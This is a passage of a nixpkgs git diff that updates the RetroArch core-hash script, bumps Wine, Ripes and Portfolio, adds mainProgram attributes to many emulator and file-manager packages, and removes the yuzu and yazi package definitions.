import ThreadPoolExecutor from pathlib import Path -import requests - SCRIPT_PATH = Path(__file__).absolute().parent HASHES_PATH = SCRIPT_PATH / "hashes.json" GET_REPO_THREADS = int(os.environ.get("GET_REPO_THREADS", 8)) @@ -19,10 +17,13 @@ GET_REPO_THREADS = int(os.environ.get("GET_REPO_THREADS", 8)) # You may set `deep_clone`, `fetch_submodules` or `leave_dot_git` options to # `True` and they're similar to `fetchgit` options. Also if for some reason you # need to pin a specific revision, set `rev` to a commit. -# To generate the hash file for your new core, you can run `update_cores.py -# <core>`. The script needs to be run from the root of your `nixpkgs` clone. -# Do not forget to add your core to `cores.nix` file with the proper overrides -# so the core can be build. +# There is also a `fetcher` option that for now only supports `fetchFromGitHub` +# (see `get_repo_hash()`), but it may be extended in the future if there is a +# need to support fetchers from other source hubs. +# To generate the hash file for your new core, you can run +# `<nixpkgs>/pkgs/applications/emulators/retroarch/update_cores.py <core>`. Do +# not forget to add your core to `cores.nix` file with the proper overrides so +# the core can be build. CORES = { "2048": {"repo": "libretro-2048"}, "atari800": {"repo": "libretro-atari800"}, @@ -49,6 +50,11 @@ CORES = { "dolphin": {"repo": "dolphin"}, "dosbox": {"repo": "dosbox-libretro"}, "dosbox-pure": {"repo": "dosbox-pure", "owner": "schellingb"}, + # The EasyRPG core is pinned to 0.8 since it depends on version 0.8 of liblcf, which + # was released in April 2023. + # Update the version when a compatible liblcf is available. + # See pkgs/games/easyrpg-player/default.nix for details. + "easyrpg": {"repo": "Player", "owner": "EasyRPG", "fetch_submodules": True, "rev": "0.8"}, "eightyone": {"repo": "81-libretro"}, "fbalpha2012": {"repo": "fbalpha2012"}, "fbneo": {"repo": "fbneo"}, @@ -128,30 +134,6 @@ def info(*msg): print(*msg, file=sys.stderr) -def get_rev_date_fetchFromGitHub(repo, owner, rev): - # https://docs.github.com/en/rest/commits/commits?apiVersion=2022-11-28#get-a-commit - url = f"https://api.github.com/repos/{owner}/{repo}/commits/{rev}" - headers = { - "Accept": "application/vnd.github+json", - "X-GitHub-Api-Version": "2022-11-28", - } - if token := os.environ.get("GITHUB_TOKEN"): - headers["Authorization"] = f"Bearer {token}" - r = requests.get(url, headers=headers) - - try: - j = r.json() - except requests.exceptions.JSONDecodeError: - return None - - date = j.get("commit", {}).get("committer", {}).get("date") - if date: - # Date format returned by API: 2023-01-30T06:29:13Z - return f"unstable-{date[:10]}" - else: - return None - - def get_repo_hash_fetchFromGitHub( repo, owner="libretro", @@ -176,18 +158,24 @@ def get_repo_hash_fetchFromGitHub( if rev: extra_args.append("--rev") extra_args.append(rev) - result = subprocess.run( - ["nix-prefetch-github", owner, repo, *extra_args], - check=True, - capture_output=True, - text=True, - ) + try: + result = subprocess.run( + ["nix-prefetch-github", owner, repo, "--meta", *extra_args], + check=True, + capture_output=True, + text=True, + ) + except subprocess.CalledProcessError as ex: + info(f"Error while updating {owner}/{repo}:", ex.stderr) + raise ex + j = json.loads(result.stdout) - date = get_rev_date_fetchFromGitHub(repo, owner, j["rev"]) - if date: - j["date"] = date - # Remove False values - return {k: v for k, v in j.items() if v} + return { + "fetcher": "fetchFromGitHub", + # Remove False values + "src": {k: v for k, v in j["src"].items() if v}, + "version": f"unstable-{j['meta']['commitDate']}", + } def get_repo_hash(fetcher="fetchFromGitHub", **kwargs): @@ -229,6 +217,7 @@ def main(): cores = {core: repo for core, repo in CORES.items() if core in cores_to_update} repo_hashes = get_repo_hashes(cores) + repo_hashes["!comment"] = "Generated with update_cores.py script, do not edit!" info(f"Generating '{HASHES_PATH}'...") with open(HASHES_PATH, "w") as f: f.write(json.dumps(dict(sorted(repo_hashes.items())), indent=4)) diff --git a/pkgs/applications/emulators/ripes/default.nix b/pkgs/applications/emulators/ripes/default.nix index b3e58658b44fd..e1438b1d0a806 100644 --- a/pkgs/applications/emulators/ripes/default.nix +++ b/pkgs/applications/emulators/ripes/default.nix @@ -1,5 +1,5 @@ { lib -, mkDerivation +, stdenv , fetchFromGitHub , pkg-config , qtbase @@ -8,19 +8,20 @@ , wrapQtAppsHook , cmake , python3 -, stdenv +, unstableGitUpdater }: -mkDerivation rec { +stdenv.mkDerivation rec { pname = "ripes"; - version = "2.2.6"; + # Pulling unstable version as latest stable does not build against gcc-13. + version = "2.2.6-unstable-2024-01-02"; src = fetchFromGitHub { owner = "mortbopet"; repo = "Ripes"; - rev = "v${version}"; + rev = "0faf41b669a93a1944707cd7d111a5e9241425fe"; fetchSubmodules = true; - sha256 = "sha256-fRkab0G2zjK1VYzH21yhL7Cr0rS4I8ir8gwH9ALy60A="; + hash = "sha256-3+jibS1mGYBy9jmucytc7GvB1ZKRfh7aXtDty77hA3k="; }; nativeBuildInputs = [ @@ -49,11 +50,14 @@ mkDerivation rec { runHook postInstall ''; + passthru.updateScript = unstableGitUpdater { }; + meta = with lib; { description = "A graphical processor simulator and assembly editor for the RISC-V ISA"; homepage = "https://github.com/mortbopet/Ripes"; license = licenses.mit; platforms = platforms.unix; + mainProgram = "Ripes"; maintainers = with maintainers; [ rewine ]; }; } diff --git a/pkgs/applications/emulators/simplenes/default.nix b/pkgs/applications/emulators/simplenes/default.nix index d073098507ee2..05a00e2c9201b 100644 --- a/pkgs/applications/emulators/simplenes/default.nix +++ b/pkgs/applications/emulators/simplenes/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = with maintainers; [ ivar ]; platforms = platforms.linux; + mainProgram = "SimpleNES"; }; } diff --git a/pkgs/applications/emulators/tamatool/default.nix b/pkgs/applications/emulators/tamatool/default.nix index ce2518031b2e6..cc245ebbe1fae 100644 --- a/pkgs/applications/emulators/tamatool/default.nix +++ b/pkgs/applications/emulators/tamatool/default.nix @@ -74,5 +74,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.gpl2Only; maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; + mainProgram = "tamatool"; }; }) diff --git a/pkgs/applications/emulators/tilem/default.nix b/pkgs/applications/emulators/tilem/default.nix index c9ba0067ee746..e6d9a19564658 100644 --- a/pkgs/applications/emulators/tilem/default.nix +++ b/pkgs/applications/emulators/tilem/default.nix @@ -26,5 +26,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ siraben luc65r ]; platforms = platforms.linux ++ platforms.darwin; + mainProgram = "tilem2"; }; } diff --git a/pkgs/applications/emulators/tiny8086/default.nix b/pkgs/applications/emulators/tiny8086/default.nix index a0cc6bd7929b6..c236cd0950f61 100644 --- a/pkgs/applications/emulators/tiny8086/default.nix +++ b/pkgs/applications/emulators/tiny8086/default.nix @@ -64,5 +64,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.AndersonTorres ]; platforms = platforms.linux; + mainProgram = "8086tiny"; }; } diff --git a/pkgs/applications/emulators/uae/default.nix b/pkgs/applications/emulators/uae/default.nix index 105729f628298..bfb8584aa94b4 100644 --- a/pkgs/applications/emulators/uae/default.nix +++ b/pkgs/applications/emulators/uae/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { homepage = "https://web.archive.org/web/20130901222855/http://www.amigaemulator.org/"; maintainers = [ lib.maintainers.sander ]; platforms = lib.platforms.linux; + mainProgram = "uae"; }; } diff --git a/pkgs/applications/emulators/wibo/default.nix b/pkgs/applications/emulators/wibo/default.nix index 102fd324cc29c..f34f8d6b2f0f7 100644 --- a/pkgs/applications/emulators/wibo/default.nix +++ b/pkgs/applications/emulators/wibo/default.nix @@ -51,5 +51,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ r-burns ]; platforms = [ "i686-linux" ]; + mainProgram = "wibo"; }; } diff --git a/pkgs/applications/emulators/wine/base.nix b/pkgs/applications/emulators/wine/base.nix index fc6d08556091f..b290a324f9700 100644 --- a/pkgs/applications/emulators/wine/base.nix +++ b/pkgs/applications/emulators/wine/base.nix @@ -134,7 +134,7 @@ stdenv.mkDerivation ((lib.optionalAttrs (buildScript != null) { configureFlags = prevConfigFlags ++ lib.optionals supportFlags.waylandSupport [ "--with-wayland" ] ++ lib.optionals supportFlags.vulkanSupport [ "--with-vulkan" ] - ++ lib.optionals (stdenv.isDarwin && !supportFlags.xineramaSupport) [ "--without-x" ]; + ++ lib.optionals ((stdenv.isDarwin && !supportFlags.xineramaSupport) || !supportFlags.x11Support) [ "--without-x" ]; # Wine locates a lot of libraries dynamically through dlopen(). Add # them to the RPATH so that the user doesn't have to set them in diff --git a/pkgs/applications/emulators/wine/sources.nix b/pkgs/applications/emulators/wine/sources.nix index a0195eadd0908..9d2189c230635 100644 --- a/pkgs/applications/emulators/wine/sources.nix +++ b/pkgs/applications/emulators/wine/sources.nix @@ -69,9 +69,9 @@ in rec { unstable = fetchurl rec { # NOTE: Don't forget to change the hash for staging as well. - version = "9.2"; + version = "9.3"; url = "https://dl.winehq.org/wine/source/9.x/wine-${version}.tar.xz"; - hash = "sha256-goHFoILMR6w8LJHOqt5fFzllU7Oa3LMudBJThltlgWI="; + hash = "sha256-FIsuNBR9H6FIQVY3xyPJn0N26SyE6QzB0OAK1O07F5M="; inherit (stable) patches; ## see http://wiki.winehq.org/Gecko @@ -117,7 +117,7 @@ in rec { staging = fetchFromGitLab rec { # https://gitlab.winehq.org/wine/wine-staging inherit (unstable) version; - hash = "sha256-VQ4j4PuXRoXbCUZ16snVO+jRvuKD4Rjn14R7bhwdAco="; + hash = "sha256-1k7HHcsosce5MX86IMiFrfjg0li4DuP0utjyal1Iwkc="; domain = "gitlab.winehq.org"; owner = "wine"; repo = "wine-staging"; diff --git a/pkgs/applications/emulators/xcpc/default.nix b/pkgs/applications/emulators/xcpc/default.nix index 633d44bb5ae4a..6482f05cf1b11 100644 --- a/pkgs/applications/emulators/xcpc/default.nix +++ b/pkgs/applications/emulators/xcpc/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = [ ]; platforms = platforms.linux; + mainProgram = "xcpc"; }; } diff --git a/pkgs/applications/emulators/yapesdl/default.nix b/pkgs/applications/emulators/yapesdl/default.nix index 136e6ce4eb896..652b2cff3488e 100644 --- a/pkgs/applications/emulators/yapesdl/default.nix +++ b/pkgs/applications/emulators/yapesdl/default.nix @@ -40,5 +40,6 @@ stdenv.mkDerivation (finalAttrs: { maintainers = with lib.maintainers; [ AndersonTorres ]; platforms = lib.platforms.unix; broken = stdenv.isDarwin; + mainProgram = "yapesdl"; }; }) diff --git a/pkgs/applications/emulators/yuzu/compat-list.nix b/pkgs/applications/emulators/yuzu/compat-list.nix deleted file mode 100644 index ee2eaa1b104c6..0000000000000 --- a/pkgs/applications/emulators/yuzu/compat-list.nix +++ /dev/null @@ -1,18 +0,0 @@ -{ stdenv, fetchFromGitHub, unstableGitUpdater }: -stdenv.mkDerivation { - pname = "yuzu-compatibility-list"; - version = "unstable-2024-02-04"; - - src = fetchFromGitHub { - owner = "flathub"; - repo = "org.yuzu_emu.yuzu"; - rev = "963c657c2f852d96b5f203fbb6fafe6c56197ac9"; - hash = "sha256-TNvAonMoGpJXjrkBFrBlYoTlwdPEMwiF/YhsOTYEB4k="; - }; - - buildCommand = '' - cp $src/compatibility_list.json $out - ''; - - passthru.updateScript = unstableGitUpdater {}; -} diff --git a/pkgs/applications/emulators/yuzu/default.nix b/pkgs/applications/emulators/yuzu/default.nix deleted file mode 100644 index 6852da378650f..0000000000000 --- a/pkgs/applications/emulators/yuzu/default.nix +++ /dev/null @@ -1,12 +0,0 @@ -{ qt6Packages, makeScopeWithSplicing', generateSplicesForMkScope }: - -makeScopeWithSplicing' { - otherSplices = generateSplicesForMkScope "yuzuPackages"; - f = self: qt6Packages // { - compat-list = self.callPackage ./compat-list.nix {}; - nx_tzdb = self.callPackage ./nx_tzdb.nix {}; - - mainline = self.callPackage ./mainline.nix {}; - early-access = self.callPackage ./early-access {}; - }; -} diff --git a/pkgs/applications/emulators/yuzu/early-access/default.nix b/pkgs/applications/emulators/yuzu/early-access/default.nix deleted file mode 100644 index f2ad5197d0bba..0000000000000 --- a/pkgs/applications/emulators/yuzu/early-access/default.nix +++ /dev/null @@ -1,37 +0,0 @@ -{ mainline, fetchzip, fetchgit, runCommand, gnutar }: -# The mirror repo for early access builds is missing submodule info, -# but the Windows distributions include a source tarball, which in turn -# includes the full git metadata. So, grab that and rehydrate it. -# This has the unfortunate side effect of requiring two FODs, one -# for the Windows download and one for the full repo with submodules. -let - sources = import ./sources.nix; - - zip = fetchzip { - name = "yuzu-ea-windows-dist"; - url = "https://github.com/pineappleEA/pineapple-src/releases/download/EA-${sources.version}/Windows-Yuzu-EA-${sources.version}.zip"; - hash = sources.distHash; - }; - - gitSrc = runCommand "yuzu-ea-dist-unpacked" { - src = zip; - nativeBuildInputs = [ gnutar ]; - } - '' - mkdir $out - tar xf $src/*.tar.xz --directory=$out --strip-components=1 - ''; - - rehydratedSrc = fetchgit { - name = "yuzu-ea-rehydrated"; - url = gitSrc; - fetchSubmodules = true; - hash = sources.fullHash; - }; -in mainline.overrideAttrs(old: { - pname = "yuzu-early-access"; - version = sources.version; - src = rehydratedSrc; - passthru.updateScript = ./update.sh; - meta = old.meta // { description = old.meta.description + " - early access branch"; }; -}) diff --git a/pkgs/applications/emulators/yuzu/early-access/sources.nix b/pkgs/applications/emulators/yuzu/early-access/sources.nix deleted file mode 100644 index 227e728a184d7..0000000000000 --- a/pkgs/applications/emulators/yuzu/early-access/sources.nix +++ /dev/null @@ -1,7 +0,0 @@ -# Generated by ./update.sh - do not update manually! -# Last updated: 2024-02-05 -{ - version = "4115"; - distHash = "sha256:16dfqlgz7lw909jqa505d69kx9jm0l3hxrfikkqpnvfr2fywkfng"; - fullHash = "sha256:1506435pbpb1m8i6qz717wxbinxqbs6c8pq6ymw5zs9dnfh765ms"; -} diff --git a/pkgs/applications/emulators/yuzu/early-access/update.sh b/pkgs/applications/emulators/yuzu/early-access/update.sh deleted file mode 100755 index f7ea2ca34a412..0000000000000 --- a/pkgs/applications/emulators/yuzu/early-access/update.sh +++ /dev/null @@ -1,44 +0,0 @@ -#! /usr/bin/env nix-shell -#! nix-shell -i bash -p nix nix-prefetch-git gnutar curl jq unzip - -set -euo pipefail - -cd "$(dirname "$(readlink -f "$0")")" - -log() { - tput bold - echo "#" "$@" - tput sgr0 -} - -oldVersion="$(nix --experimental-features nix-command eval -f sources.nix --raw version)" -newVersion="$(curl "https://api.github.com/repos/pineappleEA/pineapple-src/releases?per_page=1" | jq -r '.[0].tag_name' | cut -d"-" -f2)" - -if [ "$oldVersion" == "$newVersion" ]; then - log "Already up to date" - exit 0 -fi - -fetched="$(nix-prefetch-url --unpack --print-path "https://github.com/pineappleEA/pineapple-src/releases/download/EA-${newVersion}/Windows-Yuzu-EA-${newVersion}.zip")" - -eaDistHash="$(echo "${fetched}" | head -n1)" -eaDist="$(echo "${fetched}" | tail -n1)" - -eaDistUnpacked="$(mktemp -d)" -trap 'rm -rf "$eaDistUnpacked"' EXIT - -log "Unpacking dist..." -tar xf "$eaDist"/*.tar.xz --directory="$eaDistUnpacked" --strip-components=1 - -log "Rehydrating..." -eaFullHash="$(nix-prefetch-git --fetch-submodules --quiet "$eaDistUnpacked" | jq -r '.sha256')" - -cat >sources.nix <<EOF -# Generated by ./update.sh - do not update manually! -# Last updated: $(date +%F) -{ - version = "$newVersion"; - distHash = "sha256:$eaDistHash"; - fullHash = "sha256:$eaFullHash"; -} -EOF diff --git a/pkgs/applications/emulators/yuzu/mainline.nix b/pkgs/applications/emulators/yuzu/mainline.nix deleted file mode 100644 index d8fe6311076f5..0000000000000 --- a/pkgs/applications/emulators/yuzu/mainline.nix +++ /dev/null @@ -1,191 +0,0 @@ -{ lib -, stdenv -, fetchFromGitHub -, nix-update-script -, wrapQtAppsHook -, autoconf -, boost -, catch2_3 -, cmake -, compat-list -, cpp-jwt -, cubeb -, discord-rpc -, enet -, fmt -, glslang -, libopus -, libusb1 -, libva -, lz4 -, nlohmann_json -, nv-codec-headers-12 -, nx_tzdb -, pkg-config -, qtbase -, qtmultimedia -, qttools -, qtwayland -, qtwebengine -, SDL2 -, vulkan-headers -, vulkan-loader -, yasm -, zlib -, zstd -}: -stdenv.mkDerivation(finalAttrs: { - pname = "yuzu"; - version = "1704"; - - src = fetchFromGitHub { - owner = "yuzu-emu"; - repo = "yuzu-mainline"; - rev = "mainline-0-${finalAttrs.version}"; - hash = "sha256-8vIwWahl5JmFlOfMRuec1LiYz4F6mPEH4+p2e1IRBdU="; - fetchSubmodules = true; - }; - - nativeBuildInputs = [ - cmake - glslang - pkg-config - qttools - wrapQtAppsHook - ]; - - buildInputs = [ - # vulkan-headers must come first, so the older propagated versions - # don't get picked up by accident - vulkan-headers - - boost - catch2_3 - cpp-jwt - cubeb - discord-rpc - # intentionally omitted: dynarmic - prefer vendored version for compatibility - enet - - # vendored ffmpeg deps - autoconf - yasm - libva # for accelerated video decode on non-nvidia - nv-codec-headers-12 # for accelerated video decode on nvidia - # end vendored ffmpeg deps - - fmt - # intentionally omitted: gamemode - loaded dynamically at runtime - # intentionally omitted: httplib - upstream requires an older version than what we have - libopus - libusb1 - # intentionally omitted: LLVM - heavy, only used for stack traces in the debugger - lz4 - nlohmann_json - qtbase - qtmultimedia - qtwayland - qtwebengine - # intentionally omitted: renderdoc - heavy, developer only - SDL2 - # not packaged in nixpkgs: simpleini - # intentionally omitted: stb - header only libraries, vendor uses git snapshot - # not packaged in nixpkgs: vulkan-memory-allocator - # intentionally omitted: xbyak - prefer vendored version for compatibility - zlib - zstd - ]; - - # This changes `ir/opt` to `ir/var/empty` in `externals/dynarmic/src/dynarmic/CMakeLists.txt` - # making the build fail, as that path does not exist - dontFixCmake = true; - - cmakeFlags = [ - # actually has a noticeable performance impact - "-DYUZU_ENABLE_LTO=ON" - - # build with qt6 - "-DENABLE_QT6=ON" - "-DENABLE_QT_TRANSLATION=ON" - - # use system libraries - # NB: "external" here means "from the externals/ directory in the source", - # so "off" means "use system" - "-DYUZU_USE_EXTERNAL_SDL2=OFF" - "-DYUZU_USE_EXTERNAL_VULKAN_HEADERS=OFF" - - # don't use system ffmpeg, yuzu uses internal APIs - "-DYUZU_USE_BUNDLED_FFMPEG=ON" - - # don't check for missing submodules - "-DYUZU_CHECK_SUBMODULES=OFF" - - # enable some optional features - "-DYUZU_USE_QT_WEB_ENGINE=ON" - "-DYUZU_USE_QT_MULTIMEDIA=ON" - "-DUSE_DISCORD_PRESENCE=ON" - - # We dont want to bother upstream with potentially outdated compat reports - "-DYUZU_ENABLE_COMPATIBILITY_REPORTING=OFF" - "-DENABLE_COMPATIBILITY_LIST_DOWNLOAD=OFF" # We provide this deterministically - ]; - - # Does some handrolled SIMD - env.NIX_CFLAGS_COMPILE = "-msse4.1"; - - # Fixes vulkan detection. - # FIXME: patchelf --add-rpath corrupts the binary for some reason, investigate - qtWrapperArgs = [ - "--prefix LD_LIBRARY_PATH : ${vulkan-loader}/lib" - ]; - - preConfigure = '' - # see https://github.com/NixOS/nixpkgs/issues/114044, setting this through cmakeFlags does not work. - cmakeFlagsArray+=( - "-DTITLE_BAR_FORMAT_IDLE=${finalAttrs.pname} | ${finalAttrs.version} (nixpkgs) {}" - "-DTITLE_BAR_FORMAT_RUNNING=${finalAttrs.pname} | ${finalAttrs.version} (nixpkgs) | {}" - ) - - # provide pre-downloaded tz data - mkdir -p build/externals/nx_tzdb - ln -s ${nx_tzdb} build/externals/nx_tzdb/nx_tzdb - ''; - - # This must be done after cmake finishes as it overwrites the file - postConfigure = '' - ln -sf ${compat-list} ./dist/compatibility_list/compatibility_list.json - ''; - - postInstall = '' - install -Dm444 $src/dist/72-yuzu-input.rules $out/lib/udev/rules.d/72-yuzu-input.rules - ''; - - passthru.updateScript = nix-update-script { - extraArgs = [ "--version-regex" "mainline-0-(.*)" ]; - }; - - meta = with lib; { - homepage = "https://yuzu-emu.org"; - changelog = "https://yuzu-emu.org/entry"; - description = "An experimental Nintendo Switch emulator written in C++"; - longDescription = '' - An experimental Nintendo Switch emulator written in C++. - Using the mainline branch is recommended for general usage. - Using the early-access branch is recommended if you would like to try out experimental features, with a cost of stability. - ''; - mainProgram = "yuzu"; - platforms = [ "x86_64-linux" ]; - license = with licenses; [ - gpl3Plus - # Icons - asl20 mit cc0 - ]; - maintainers = with maintainers; [ - ashley - ivar - joshuafern - sbruder - k900 - ]; - }; -}) diff --git a/pkgs/applications/emulators/yuzu/nx_tzdb.nix b/pkgs/applications/emulators/yuzu/nx_tzdb.nix deleted file mode 100644 index de847e2b0c782..0000000000000 --- a/pkgs/applications/emulators/yuzu/nx_tzdb.nix +++ /dev/null @@ -1,20 +0,0 @@ -{ stdenv, fetchurl, unzip, gitUpdater }: -stdenv.mkDerivation rec { - pname = "nx_tzdb"; - version = "221202"; - - src = fetchurl { - url = "https://github.com/lat9nq/tzdb_to_nx/releases/download/${version}/${version}.zip"; - hash = "sha256-mRzW+iIwrU1zsxHmf+0RArU8BShAoEMvCz+McXFFK3c="; - }; - - nativeBuildInputs = [ unzip ]; - - buildCommand = '' - unzip $src -d $out - ''; - - passthru.updateScript = gitUpdater { - url = "https://github.com/lat9nq/tzdb_to_nx.git"; - }; -} diff --git a/pkgs/applications/emulators/yuzu/update.sh b/pkgs/applications/emulators/yuzu/update.sh deleted file mode 100755 index 25ea10fc9aa0c..0000000000000 --- a/pkgs/applications/emulators/yuzu/update.sh +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env nix-shell -#!nix-shell -i bash -p nix-update -#shellcheck shell=bash -nix-update -u yuzuPackages.nx_tzdb "$@" -nix-update -u yuzuPackages.compat-list "$@" -nix-update -u yuzuPackages.mainline "$@" -nix-update -u yuzuPackages.early-access --override-filename pkgs/applications/emulators/yuzu/early-access/sources.nix "$@" diff --git a/pkgs/applications/emulators/zsnes/default.nix b/pkgs/applications/emulators/zsnes/default.nix index 8e12d7cd7bb36..ebe7af84d7fcf 100644 --- a/pkgs/applications/emulators/zsnes/default.nix +++ b/pkgs/applications/emulators/zsnes/default.nix @@ -70,5 +70,6 @@ in stdenv.mkDerivation { maintainers = [ lib.maintainers.sander ]; homepage = "https://www.zsnes.com"; platforms = [ "i686-linux" "x86_64-linux" ]; + mainProgram = "zsnes"; }; } diff --git a/pkgs/applications/file-managers/cfm/default.nix b/pkgs/applications/file-managers/cfm/default.nix index 0955403e7eb81..640067d527f2d 100644 --- a/pkgs/applications/file-managers/cfm/default.nix +++ b/pkgs/applications/file-managers/cfm/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = licenses.mpl20; maintainers = with maintainers; [ lom ]; platforms = platforms.all; + mainProgram = "cfm"; }; } diff --git a/pkgs/applications/file-managers/clifm/default.nix b/pkgs/applications/file-managers/clifm/default.nix index bad0fce09aa43..72e363b8b3c24 100644 --- a/pkgs/applications/file-managers/clifm/default.nix +++ b/pkgs/applications/file-managers/clifm/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ nadir-ishiguro ]; platforms = platforms.unix; + mainProgram = "clifm"; }; } diff --git a/pkgs/applications/file-managers/lf/default.nix b/pkgs/applications/file-managers/lf/default.nix index 9caf29a5a9a4c..1f2b8b908928a 100644 --- a/pkgs/applications/file-managers/lf/default.nix +++ b/pkgs/applications/file-managers/lf/default.nix @@ -44,5 +44,6 @@ buildGoModule rec { changelog = "https://github.com/gokcehan/lf/releases/tag/r${version}"; license = licenses.mit; maintainers = with maintainers; [ dotlambda ]; + mainProgram = "lf"; }; } diff --git a/pkgs/applications/file-managers/mucommander/default.nix b/pkgs/applications/file-managers/mucommander/default.nix index cf3b1352f488d..308035b094a17 100644 --- a/pkgs/applications/file-managers/mucommander/default.nix +++ b/pkgs/applications/file-managers/mucommander/default.nix @@ -105,5 +105,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = with maintainers; [ jiegec ]; platforms = platforms.all; + mainProgram = "mucommander"; }; } diff --git a/pkgs/applications/file-managers/noice/default.nix b/pkgs/applications/file-managers/noice/default.nix index 25e93ace7c04e..d41c12faad8d1 100644 --- a/pkgs/applications/file-managers/noice/default.nix +++ b/pkgs/applications/file-managers/noice/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation rec { license = licenses.bsd2; platforms = platforms.all; maintainers = with maintainers; [ iogamaster ]; + mainProgram = "noice"; }; } diff --git a/pkgs/applications/file-managers/portfolio-filemanager/default.nix b/pkgs/applications/file-managers/portfolio-filemanager/default.nix index 3ee1f0c03ebfb..4c21e8cbe0574 100644 --- a/pkgs/applications/file-managers/portfolio-filemanager/default.nix +++ b/pkgs/applications/file-managers/portfolio-filemanager/default.nix @@ -18,7 +18,7 @@ python3.pkgs.buildPythonApplication rec { pname = "portfolio"; - version = "1.0.0"; + version = "1.0.1"; format = "other"; @@ -26,7 +26,7 @@ python3.pkgs.buildPythonApplication rec { owner = "tchx84"; repo = "Portfolio"; rev = "v${version}"; - hash = "sha256-ahVrOyyF/7X19ZJcHQ4YbC+4b96CPEnns7TUAFCvKao="; + hash = "sha256-IbzAkHlD6duXkPJRSyD9HJ/JHP8+IR7vIGFp2ESbBug="; }; postPatch = '' @@ -78,6 +78,7 @@ python3.pkgs.buildPythonApplication rec { changelog = "https://github.com/tchx84/Portfolio/blob/v${version}/CHANGELOG.md"; license = licenses.gpl3Plus; platforms = platforms.linux; + mainProgram = "dev.tchx84.Portfolio"; maintainers = with maintainers; [ dotlambda chuangzhu ]; }; } diff --git a/pkgs/applications/file-managers/projectable/default.nix b/pkgs/applications/file-managers/projectable/default.nix index 8f2a131ce7c9d..c5b6009bf22f2 100644 --- a/pkgs/applications/file-managers/projectable/default.nix +++ b/pkgs/applications/file-managers/projectable/default.nix @@ -2,7 +2,7 @@ , rustPlatform , fetchFromGitHub , pkg-config -, libgit2_1_5 +, libgit2 , openssl , zlib , stdenv @@ -27,7 +27,7 @@ rustPlatform.buildRustPackage rec { ]; buildInputs = [ - libgit2_1_5 + libgit2 openssl zlib ] ++ lib.optionals stdenv.isDarwin [ @@ -35,6 +35,7 @@ rustPlatform.buildRustPackage rec { ]; env = { + LIBGIT2_NO_VENDOR = 1; OPENSSL_NO_VENDOR = true; }; diff --git a/pkgs/applications/file-managers/sfm/default.nix b/pkgs/applications/file-managers/sfm/default.nix index 800ea9419cbe3..8a3aaee4418e9 100644 --- a/pkgs/applications/file-managers/sfm/default.nix +++ b/pkgs/applications/file-managers/sfm/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = licenses.isc; platforms = platforms.unix; maintainers = with maintainers; [ sikmir ]; + mainProgram = "sfm"; }; } diff --git a/pkgs/applications/file-managers/shfm/default.nix b/pkgs/applications/file-managers/shfm/default.nix index 602151075fc71..47bb6dfdbe8c8 100644 --- a/pkgs/applications/file-managers/shfm/default.nix +++ b/pkgs/applications/file-managers/shfm/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = with maintainers; [ AndersonTorres ]; platforms = platforms.all; + mainProgram = "shfm"; }; } diff --git a/pkgs/applications/file-managers/xplorer/default.nix b/pkgs/applications/file-managers/xplorer/default.nix index b4681ab697b21..76edf8ee48328 100644 --- a/pkgs/applications/file-managers/xplorer/default.nix +++ b/pkgs/applications/file-managers/xplorer/default.nix @@ -90,5 +90,6 @@ rustPlatform.buildRustPackage { homepage = "https://xplorer.space"; license = licenses.asl20; maintainers = with maintainers; [ dit7ya ]; + mainProgram = "xplorer"; }; } diff --git a/pkgs/applications/file-managers/yazi/default.nix b/pkgs/applications/file-managers/yazi/default.nix deleted file mode 100644 index c59827f3191fa..0000000000000 --- a/pkgs/applications/file-managers/yazi/default.nix +++ /dev/null @@ -1,81 +0,0 @@ -{ rustPlatform -, fetchFromGitHub -, lib - -, makeWrapper -, installShellFiles -, stdenv -, Foundation - -, withFile ? true -, file -, withJq ? true -, jq -, withPoppler ? true -, poppler_utils -, withUnar ? true -, unar -, withFfmpegthumbnailer ? true -, ffmpegthumbnailer -, withFd ? true -, fd -, withRipgrep ? true -, ripgrep -, withFzf ? true -, fzf -, withZoxide ? true -, zoxide - -, nix-update-script -}: - -rustPlatform.buildRustPackage rec { - pname = "yazi"; - version = "0.2.3"; - - src = fetchFromGitHub { - owner = "sxyazi"; - repo = pname; - rev = "v${version}"; - hash = "sha256-2AiaJs6xY8hsB1DBxpPwdZtc8IZvsoCGWBOFVMf4dvk="; - }; - - cargoHash = "sha256-fRUmXv27sHYz8z0cc795JCPLHDQGgTV4wAWAtQ/pbg4="; - - env.YAZI_GEN_COMPLETIONS = true; - - nativeBuildInputs = [ makeWrapper installShellFiles ]; - buildInputs = lib.optionals stdenv.isDarwin [ Foundation ]; - - postInstall = with lib; - let - runtimePaths = [ ] - ++ optional withFile file - ++ optional withJq jq - ++ optional withPoppler poppler_utils - ++ optional withUnar unar - ++ optional withFfmpegthumbnailer ffmpegthumbnailer - ++ optional withFd fd - ++ optional withRipgrep ripgrep - ++ optional withFzf fzf - ++ optional withZoxide zoxide; - in - '' - wrapProgram $out/bin/yazi \ - --prefix PATH : "${makeBinPath runtimePaths}" - installShellCompletion --cmd yazi \ - --bash ./yazi-config/completions/yazi.bash \ - --fish ./yazi-config/completions/yazi.fish \ - --zsh ./yazi-config/completions/_yazi - ''; - - passthru.updateScript = nix-update-script { }; - - meta = with lib; { - description = "Blazing fast terminal file manager written in Rust, based on async I/O"; - homepage = "https://github.com/sxyazi/yazi"; - license = licenses.mit; - maintainers = with maintainers; [ xyenon matthiasbeyer ]; - mainProgram = "yazi"; - }; -} diff --git a/pkgs/applications/finance/irpf/default.nix b/pkgs/applications/finance/irpf/default.nix index 